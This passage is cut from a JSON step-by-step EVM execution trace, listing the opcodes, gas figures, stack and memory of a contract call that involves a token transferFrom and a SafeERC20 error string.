","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x20","0x0","0x20","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002040081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13775,"op":"RETURNDATACOPY","gas":79925,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x20","0x0","0x304"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002040081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13776,"op":"PUSH2","gas":79919,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13779,"op":"JUMP","gas":79916,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x35d9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13785,"op":"JUMPDEST","gas":79908,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13786,"op":"POP","gas":79907,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13787,"op":"SWAP2","gas":79905,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13788,"op":"POP","gas":79902,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x2e4","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13789,"op":"SWAP2","gas":79900,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x2e4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13790,"op":"POP","gas":79897,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13791,"op":"PUSH2","gas":79895,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13794,"op":"DUP3","gas":79892,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13795,"op":"DUP3","gas":79889,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e